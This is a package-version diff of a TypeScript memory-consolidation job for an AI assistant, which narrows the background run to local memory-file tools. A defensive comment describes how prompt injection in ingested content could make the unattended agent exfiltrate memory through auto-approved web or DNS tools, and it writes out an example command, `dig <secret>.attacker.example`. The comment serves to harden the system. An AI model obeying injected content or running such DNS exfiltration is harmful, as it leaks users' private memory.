@vellumai/assistant 0.12.2-staging.7 → 0.12.2

package/src/plugins/defaults/memory/substrate/consolidation-job.ts

@@ -6,11 +6,8 @@
  *
  * The consolidation job is the centerpiece of v2: an hourly background pass
  * that routes accumulated `memory/buffer.md` entries into concept pages,
- * rewrites `memory/recent.md`, and promotes new essentials/threads. The
- * buffer itself is never written by the agent: the job hands the run exactly
- * the entries it will remove, and removes them itself afterwards, so an
- * entry appended while the run is in flight is still in the buffer when it
- * ends.
+ * rewrites `memory/recent.md`, promotes new essentials/threads, and trims the
+ * buffer down to entries that arrived after the run started.
  *
  * Consolidation runs as the assistant: `runBackgroundJob()` bootstraps a
  * background conversation and routes the cutoff-templated prompt through
@@ -19,9 +16,9 @@
  * assistant's voice are the point — there is no "consolidator persona" to
  * substitute in.
  *
- * The tool surface is wire-scoped to {@link CONSOLIDATION_ALLOWED_TOOLS}: local
- * file tools, a shell for corpus-wide inspection, recall, and the page-delete
- * primitive. See that constant for the surface and what it excludes.
+ * The tool surface is wire-scoped to {@link CONSOLIDATION_ALLOWED_TOOLS} — the
+ * local memory-file operations this pass needs. See that constant for why the
+ * run must not carry network egress or host-proxy tools.
  *
  * Lifecycle:
  *   1. Bail if memory is disabled or concept-page memory is not active
@@ -31,18 +28,11 @@
  *      so two overlapping schedule windows can't fight over the same files.
  *      The lock contains the holder's PID + timestamp so a crashed run leaves
  *      a diagnosable trace.
- *   3. Read `memory/buffer.md` once: the snapshot. Bail if empty (no work to
- *      do, but the lock and skip path still log so operators can confirm the
- *      schedule fired).
- *   4. Select this pass's entries from the snapshot. The cutoff timestamp is
- *      captured at dispatch (and pulled back to the first over-cap entry's
- *      stamp when the buffer exceeds the per-run cap); the pass is the
- *      snapshot's leading entries up to the first one stamped with the
- *      cutoff minute. Those entries are rendered verbatim into the prompt,
- *      so what the agent files and what the job later removes are the same
- *      set by construction. An entry appended after the snapshot is never in
- *      it, and a snapshot that caught an append mid-write leaves its last
- *      entry for the next pass. Nothing eligible → bail.
+ *   3. Capture the cutoff timestamp at dispatch. Any buffer entry timestamped
+ *      at or after the cutoff arrived AFTER the run started — leave it for
+ *      the next pass.
+ *   4. Read `memory/buffer.md`. Bail if empty (no work to do, but the lock
+ *      and skip path still log so operators can confirm the schedule fired).
  *   5. Hand off to `runBackgroundJob()` with the templated prompt. The runner
  *      handles bootstrap + processMessage + timeout + error classification,
  *      and (because we set `suppressFailureNotifications: true`) does NOT
@@ -52,21 +42,10 @@
  *      unchanged. The prompt body is loaded via `resolveConsolidationPrompt`
  *      which bounds any operator-provided override to a regular file under
  *      1 MiB before substitution.
- *   6. Consume the pass's entries, and only then. `runResult.ok` only means
- *      the background run completed; before the job removes anything the
- *      run's persisted messages must hold at least one page-writing tool
- *      call whose result is not an error AND end with the agent's own
- *      closing reply (the pass summary the prompt mandates), the same two
- *      evidence shapes the retrospective's cursor advance uses. A run that
- *      wrote a page and then stopped mid-work has not filed its pass. With
- *      that evidence the job
- *      removes exactly the pass's entries from the live buffer through
- *      `consumeBufferEntries`, which leaves deferred entries and anything
- *      appended during the run in place. A run with no verified write, or
- *      a consume that fails, is reported as `invoked` with
- *      `noProgress: true`, enqueues no follow-ups, and leaves the buffer
- *      intact for the next pass. A failed run (provider error, exception,
- *      timeout) likewise consumes nothing. The
+ *   6. Verify the run drained the buffer. `runResult.ok` only means the
+ *      background run completed — the trim itself is delegated to the agent.
+ *      A run that completes without shrinking the buffer is reported as
+ *      `invoked` with `noProgress: true` and enqueues no follow-ups. The
  *      post-run page index is also read for `danglingLinks` (structural
  *      references with no target page): reported on the outcome and in the
  *      log, and fed into the NEXT pass's prompt as a repair step like
@@ -98,8 +77,6 @@
 import { readFileSync } from "node:fs";
 import { join } from "node:path";
 
-import { getMessages } from "@vellumai/plugin-api";
-
 import {
   isMemoryV3Live,
   usesConceptPageMemory,
@@ -119,21 +96,10 @@ import {
 } from "../../../../persistence/jobs-store.js";
 import { runBackgroundJob } from "../../../../runtime/background-job-runner.js";
 import {
-  consumeBufferEntries,
-  type ConsumeBufferEntriesResult,
-} from "../buffer-file.js";
-import {
-  type BufferEntryLines,
   formatBufferTimestamp,
-  joinBufferEntries,
-  splitBufferContent,
+  matchBufferEntryStart,
 } from "../buffer-format.js";
 import { getLogger } from "../logging.js";
-import {
-  collectSuccessfulToolResultIds,
-  countDurableToolUses,
-  endsWithTextReply,
-} from "../memory-run-evidence.js";
 import { getWorkspaceDir } from "../paths.js";
 import {
   CONSOLIDATION_TIMEOUT_MS,
@@ -141,7 +107,6 @@ import {
   releaseLock,
   tryAcquireLock,
 } from "./consolidation-lock.js";
-import { CONSOLIDATION_ALLOWED_TOOLS } from "./consolidation-tool-surface.js";
 import { getPageIndex, type PageParseFailure } from "./page-index.js";
 import type { DanglingLink } from "./page-links.js";
 import {
@@ -156,25 +121,45 @@ const log = getLogger("memory-v2-consolidate");
 const JOB_NAME = "memory.consolidate";
 
 /**
-/**
- * Tool names whose persisted `tool_use` blocks count as durable page work
- * for the consume gate: the pass writes or edits concept pages and the
- * aggregate views through the file tools and retires pages through
- * `delete_memory_page`. The read-only tools on the allowlist do not
- * qualify, and neither does `bash`: the shell is on the surface for
- * corpus-wide inspection, and a shell call carries no evidence of what it
- * did. The prompt tells the agent to write pages with the file tools for
- * exactly this reason; a run that wrote only through the shell drains
- * nothing and reports no progress, which is loud rather than lossy.
+ * Tool surface the consolidation run is wire-scoped to. Consolidation is a
+ * purely LOCAL memory-file reorganization pass: it reads `buffer.md` + existing
+ * pages, writes/edits concept pages, rewrites recent/essentials/threads, and
+ * trims the buffer. It has NO legitimate need for network egress or host-proxy
+ * tools.
+ *
+ * Scoping is load-bearing because the run is guardian-trust + non-interactive:
+ * the permission checker auto-approves any tool whose classified risk is within
+ * the background threshold (default `low`), and a public `web_fetch` classifies
+ * Low. An unrestricted surface would therefore let prompt injection embedded in
+ * buffer/page content — which can originate from untrusted material the
+ * assistant ingested (fetched web pages, emails, documents, channel messages) —
+ * exfiltrate memory over an auto-approved egress channel. Wire-gating to this
+ * allowlist removes that channel entirely: the excluded tools (`web_fetch`,
+ * `web_search`, `network_request`, `host_*`, …) are never even presented to
+ * the model, so the fix does not rely on the permission threshold. Mirrors the
+ * hardening the sibling memory-retrospective job already applies.
+ *
+ * `bash` is deliberately EXCLUDED. A shell reopens the egress channel this
+ * allowlist exists to close: `dig` / `nslookup` / `ping` classify Low in the
+ * command registry and so auto-approve in this background context, letting
+ * prompt-injected page content exfiltrate memory over DNS (`dig
+ * <secret>.attacker.example`) even with `web_fetch` hidden. The one
+ * page-maintenance operation a shell would otherwise handle — retiring a
+ * merged/renamed/dead page — is served by `delete_memory_page`, a slug-scoped
+ * memory-page delete that reaches only `memory/concepts/**` and carries no
+ * network or arbitrary-path reach. It is an allowlist-only tool (hidden from
+ * every other tool surface; see `ALLOWLIST_ONLY_TOOL_NAMES`), so naming it here
+ * is what surfaces it.
  */
-const CONSOLIDATION_DURABLE_TOOLS: ReadonlySet<string> = new Set([
+const CONSOLIDATION_ALLOWED_TOOLS: readonly string[] = [
+  "file_read",
   "file_write",
   "file_edit",
+  "file_list",
+  "code_search",
   "delete_memory_page",
-]);
-
-/** The shell on the consolidation surface, counted for diagnosis only. */
-const SHELL_TOOLS: ReadonlySet<string> = new Set(["bash"]);
+  "recall",
+];
 
 /**
  * Durable checkpoint tracking consecutive consolidation run failures.
@@ -301,17 +286,6 @@ export type ConsolidationOutcome =
   | { kind: "disabled" }
   | { kind: "locked"; holder: string }
   | { kind: "empty_buffer" }
-  | {
-      /**
-       * The buffer holds entries but none is eligible this pass: every entry
-       * is stamped with the cutoff minute (or later), so the run would have
-       * nothing to file. No agent run, no failure bookkeeping; the next
-       * scheduler tick re-checks.
-       */
-      kind: "nothing_eligible";
-      cutoff: string;
-      deferredEntries: number;
-    }
   | { kind: "run_failed"; reason?: string }
   | {
       kind: "invoked";
@@ -325,16 +299,9 @@ export type ConsolidationOutcome =
       deferredEntries: number;
       followUpJobIds: string[];
       /**
-       * Entries this pass removed from the buffer: the entries it handed the
-       * run, once the run left verified page-writing evidence. `0` when
-       * `noProgress` is set.
-       */
-      consumedEntries: number;
-      /**
-       * `true` when the run completed but nothing was consumed: it left no
-       * verified page write, or the consume itself failed. The buffer is
-       * untouched, nothing changed worth re-embedding, and no follow-ups
-       * were enqueued.
+       * `true` when the run completed without shrinking the buffer — the
+       * agent never trimmed it, so nothing changed worth re-embedding and no
+       * follow-ups were enqueued.
        */
       noProgress: boolean;
       /**
@@ -403,9 +370,10 @@ export async function memoryV2ConsolidateJob(
       return { kind: "empty_buffer" };
     }
 
-    // The snapshot. Everything this pass files and later removes comes from
-    // it; an entry appended after this read is by construction not in it.
-    const snapshot = splitBufferContent(bufferContent);
+    // Baseline for the post-run progress check — same metric the scheduler's
+    // size trigger uses, so "no progress" below means exactly "the trigger
+    // condition still holds".
+    const bufferLinesBefore = countNonEmptyLines(bufferContent);
 
     // Step 3: capture cutoff. Formatted to match `buffer.md` entry timestamps
     // (`Mon D, h:mm AM/PM`, see `formatBufferTimestamp`) so the agent's
@@ -432,8 +400,9 @@ export async function memoryV2ConsolidateJob(
     const tuning = resolveSubstrateTuning(config.memory);
     const maxEntries = tuning.consolidation_max_entries_per_run;
     if (maxEntries != null) {
-      const entryTimestamps = snapshot
-        .map((entry) => entry.start?.timestamp ?? null)
+      const entryTimestamps = bufferContent
+        .split("\n")
+        .map(extractBufferEntryTimestamp)
         .filter((timestamp): timestamp is string => timestamp !== null);
       if (entryTimestamps.length > maxEntries) {
         const overflowTimestamp = entryTimestamps[maxEntries];
@@ -469,22 +438,6 @@ export async function memoryV2ConsolidateJob(
       }
     }
 
-    // The pass: the snapshot's leading entries up to the first one stamped
-    // with the cutoff minute, rendered verbatim into the prompt and removed
-    // by this job once the run has filed them.
-    const pass = selectPassEntries(
-      snapshot,
-      cutoff,
-      await snapshotIsComplete(bufferPath, bufferContent),
-    );
-    if (pass.length === 0) {
-      log.info(
-        { cutoff, bufferEntries: snapshot.length },
-        "consolidation skipped: no buffer entry is eligible this pass (all stamped at or after the cutoff, or still being appended)",
-      );
-      return { kind: "nothing_eligible", cutoff, deferredEntries };
-    }
-
     // Step 4: hand off to the centralized background-job runner. The runner
     // bootstraps the conversation, drives `processMessage`, applies the
     // timeout policy, classifies errors, and — because we opt out via
@@ -540,7 +493,6 @@ export async function memoryV2ConsolidateJob(
       {
         includeCorePagesSection: memoryV3Live,
         articleShape: memoryV3Live ? "v3" : "v2",
-        bufferEntries: joinBufferEntries(pass),
         parseFailures,
         danglingLinks,
         overlongSections,
@@ -592,76 +544,17 @@ export async function memoryV2ConsolidateJob(
         : { kind: "run_failed" };
     }
 
-    // Step 5: consume the pass's entries, gated on evidence. `runResult.ok`
-    // only means the background run completed. Before removing anything the
-    // job requires two things of the run's persisted messages: at least one
-    // page-writing tool call whose result is not an error (a run that
-    // answered in prose, or whose writes all failed, filed nothing), and a
-    // closing reply in the agent's own words as the run's final row, with
-    // no tool call on it (a run that wrote a page, say a repair-step fix,
-    // and then stopped mid-work has not filed its pass, and narration on
-    // the row that called the tool is not a conclusion; the prompt mandates
-    // the pass summary, so its absence is the run ending early). Either missing, and
-    // consuming would delete entries unfiled. A skipped run never invoked
-    // the agent, so it consumes nothing either. With both, the consume
-    // removes exactly the pass's entries and leaves every other entry
-    // (deferred past the cap, or appended during the run) in place.
-    let consumed: ConsumeBufferEntriesResult | null = null;
-    let evidence: RunEvidence = {
-      durableWrites: 0,
-      shellCalls: 0,
-      concluded: false,
-    };
-    if (runResult.skipReason === undefined) {
-      evidence = await readRunEvidence(runResult.conversationId);
-      if (evidence.durableWrites > 0 && evidence.concluded) {
-        try {
-          consumed = await consumeBufferEntries(bufferPath, pass);
-        } catch (err) {
-          // Thrown only before the rename commits, so the buffer still holds
-          // the pass.
-          log.error(
-            { err, conversationId: runResult.conversationId },
-            "consolidation: buffer consume failed before rewriting; entries left for the next pass",
-          );
-        }
-      }
-    }
-    const noProgress = consumed === null;
-    if (consumed !== null && consumed.lateAppendDrainFailed) {
-      log.error(
-        { conversationId: runResult.conversationId },
-        "consolidation: the replaced buffer inode could not be read after the rewrite; any entry appended during it is in the daily archive only",
-      );
-    }
-    if (consumed !== null && consumed.unrecoveredLateAppendBytes > 0) {
-      // The pass is consumed (the rename committed) but bytes an appender
-      // landed on the replaced inode could not be copied back. Those
-      // entries are still in memory/archive/<date>.md, written by the same
-      // append that wrote them to the buffer.
-      log.error(
-        {
-          conversationId: runResult.conversationId,
-          unrecoveredLateAppendBytes: consumed.unrecoveredLateAppendBytes,
-        },
-        "consolidation: entries appended during the buffer rewrite could not be copied back into buffer.md; they remain in the daily archive only",
-      );
-    }
-    if (consumed !== null && consumed.alreadyAbsent > 0) {
-      // Only appenders are expected to touch the buffer during a run. An
-      // entry the job handed the run but cannot find afterwards was removed
-      // by something else, most likely a customized prompt that still
-      // rewrites `memory/buffer.md`; that rewrite carries the stale-read
-      // hazard this job exists to avoid.
-      log.warn(
-        {
-          conversationId: runResult.conversationId,
-          alreadyAbsent: consumed.alreadyAbsent,
-          removed: consumed.removed,
-        },
-        "consolidation: some of this pass's entries were already gone from buffer.md; the agent must not rewrite the buffer",
-      );
-    }
+    // Step 5: verify the run drained the buffer. `runResult.ok` only means
+    // the background run completed — the trim itself is delegated to the
+    // agent, and nothing above checks that it happened. A run that completes
+    // without shrinking the buffer leaves the scheduler's size trigger armed
+    // (it re-fires while the buffer stays over threshold), so enqueuing
+    // follow-ups here would fan out one reembed per re-fire for pages that
+    // never changed. Entries arriving during the run can inflate the
+    // after-count into a false "no progress"; that is benign — the next
+    // progressing run enqueues the same follow-ups.
+    const bufferLinesAfter = countBufferLines(bufferPath);
+    const noProgress = bufferLinesAfter >= bufferLinesBefore;
 
     // The agent's file-tool writes invalidate the page index, so this read
     // sees the post-run corpus.
@@ -688,15 +581,10 @@ export async function memoryV2ConsolidateJob(
         {
           conversationId: runResult.conversationId,
           cutoff,
-          passEntries: pass.length,
-          durableWrites: evidence.durableWrites,
-          shellCalls: evidence.shellCalls,
-          concluded: evidence.concluded,
-          skipReason: runResult.skipReason,
+          bufferLinesBefore,
+          bufferLinesAfter,
         },
-        evidence.durableWrites === 0 && evidence.shellCalls > 0
-          ? "consolidation run wrote no pages through the file tools (it used the shell); buffer left intact, follow-ups skipped"
-          : "consolidation run completed without a verified page write and a closing reply; buffer left intact, follow-ups skipped",
+        "consolidation run completed without draining the buffer; follow-ups skipped",
       );
       return {
         kind: "invoked",
@@ -704,7 +592,6 @@ export async function memoryV2ConsolidateJob(
         cutoff,
         deferredEntries,
         followUpJobIds: [],
-        consumedEntries: 0,
         noProgress: true,
         danglingLinks: danglingAfter,
       };
@@ -746,7 +633,6 @@ export async function memoryV2ConsolidateJob(
       {
         conversationId: runResult.conversationId,
         cutoff,
-        consumedEntries: pass.length,
         deferredEntries,
         followUpJobIds,
       },
@@ -758,7 +644,6 @@ export async function memoryV2ConsolidateJob(
       cutoff,
       deferredEntries,
       followUpJobIds,
-      consumedEntries: pass.length,
       noProgress: false,
       danglingLinks: danglingAfter,
     };
@@ -817,126 +702,20 @@ function readBufferContent(bufferPath: string): string {
 }
 
 /**
- * The entries this pass files: the snapshot's leading entries up to (not
- * including) the first one stamped with the cutoff minute. In an append-only
- * buffer that is exactly the set the prompt describes as "timestamp <
- * cutoff", but chosen by position, so the job and the prompt name the same
- * entries whatever the model makes of the dates. A same-minute pull-back
- * (the chunking cutoff) works the same way: entries sharing the over-cap
- * entry's minute are deferred with it.
+ * Extract the bracketed timestamp from a `buffer.md` entry line
+ * (`- [Mon D, h:mm AM/PM] …`, see {@link formatRememberEntry}). Returned
+ * verbatim so it can serve directly as a consolidation cutoff: both sides of
+ * the agent's "timestamp >= cutoff" comparison then share the exact
+ * {@link formatBufferTimestamp} shape.
  *
- * Prose before the first entry opening (a hand-written buffer) is filed too,
- * when it holds any text; otherwise the buffer could never drain.
- *
- * A snapshot that caught an append mid-write (`snapshotIsComplete` false,
- * see {@link snapshotIsComplete}) has an incomplete last entry, which is
- * left for the next pass rather than filed and removed in a truncated form.
- */
-function selectPassEntries(
-  snapshot: readonly BufferEntryLines[],
-  cutoff: string,
-  snapshotIsComplete: boolean,
-): BufferEntryLines[] {
-  const pass: BufferEntryLines[] = [];
-  for (const entry of snapshot) {
-    if (entry.start === null) {
-      if (entry.lines.some((line) => line.trim().length > 0)) {
-        pass.push(entry);
-      }
-      continue;
-    }
-    if (entry.start.timestamp === cutoff) {
-      break;
-    }
-    pass.push(entry);
-  }
-  const last = pass[pass.length - 1];
-  if (
-    last !== undefined &&
-    last === snapshot[snapshot.length - 1] &&
-    !snapshotIsComplete
-  ) {
-    pass.pop();
-  }
-  return pass;
-}
-
-/**
- * How long an unterminated snapshot is given to settle before it is read
- * again. An in-flight append completes within microseconds; a re-read that
- * still returns the same bytes after this is a stable file.
- */
-const UNTERMINATED_SNAPSHOT_SETTLE_MS = 100;
-
-/**
- * Whether the snapshot ends on a complete entry. An append is one write
- * ending in a newline, so content that ends in one is complete. Content
- * that does not is either an append caught mid-write or a buffer whose last
- * rewrite left no terminator (an agent's `file_write` under an older prompt,
- * a hand edit): a persisted shape that must keep working. The two are told
- * apart by time: after a short settle the file is read again, and identical
- * bytes mean nothing was mid-write, so the last entry is complete and may be
- * filed. Grown or changed bytes mean an append was in flight, and the
- * snapshot's last entry waits for the next pass. Consuming rewrites the
- * buffer newline-terminated, so the unterminated shape does not recur.
+ * Recognition is delegated to the shared matcher, so a remembered fact's
+ * continuation lines never register as entries. That matters here beyond
+ * tidiness: counting a fact's `- [ ] …` checklist lines or an indented
+ * entry-shaped body line as entries would inflate the per-run budget, or hand
+ * the agent a cutoff drawn from the middle of a fact.
  */
-async function snapshotIsComplete(
-  bufferPath: string,
-  content: string,
-): Promise<boolean> {
-  if (content.endsWith("\n")) {
-    return true;
-  }
-  await new Promise((resolve) =>
-    setTimeout(resolve, UNTERMINATED_SNAPSHOT_SETTLE_MS),
-  );
-  return readBufferContent(bufferPath) === content;
-}
-
-interface RunEvidence {
-  /** Page-writing tool calls whose execution verifiably succeeded. */
-  durableWrites: number;
-  /**
-   * Shell calls the run made, successful or not. Never evidence of filing
-   * (a shell call carries no record of what it did); reported so a run
-   * that wrote its pages through the shell is diagnosable from the log.
-   */
-  shellCalls: number;
-  /**
-   * The run's final row is an assistant reply in its own words, with no
-   * tool call on it: the shape of a run the model ended itself.
-   */
-  concluded: boolean;
-}
-
-/**
- * What the run's conversation proves it did: page-writing tool calls with
- * a matching non-error `tool_result`, and whether the run ended by replying
- * (the pass summary) rather than stopping mid-tool-loop. A consolidation
- * conversation is bootstrapped fresh per run, so every message in it is
- * the run's own. A load failure reports nothing: the consume gate then
- * fails closed and the buffer waits for the next pass.
- */
-async function readRunEvidence(conversationId: string): Promise<RunEvidence> {
-  let messages: Awaited<ReturnType<typeof getMessages>>;
-  try {
-    messages = await getMessages(conversationId);
-  } catch (err) {
-    log.warn(
-      { err, conversationId },
-      "consolidation: failed to load the run's messages; treating the run as having filed nothing",
-    );
-    return { durableWrites: 0, shellCalls: 0, concluded: false };
-  }
-  return {
-    durableWrites: countDurableToolUses(
-      messages,
-      CONSOLIDATION_DURABLE_TOOLS,
-      collectSuccessfulToolResultIds(messages),
-    ),
-    shellCalls: countDurableToolUses(messages, SHELL_TOOLS, null),
-    concluded: endsWithTextReply(messages),
-  };
+function extractBufferEntryTimestamp(line: string): string | null {
+  return matchBufferEntryStart(line)?.timestamp ?? null;
 }
 
 /**

package/src/plugins/defaults/memory/substrate/page-index.ts

@@ -19,8 +19,7 @@
  * concept pages or seeded skill entries change.
  */
 
-import { safeStringSlice } from "@vellumai/plugin-api";
-
+import { safeStringSlice } from "../host-utils.js";
 import { getLogger } from "../logging.js";
 import {
   CLI_COMMAND_SLUG_PREFIX,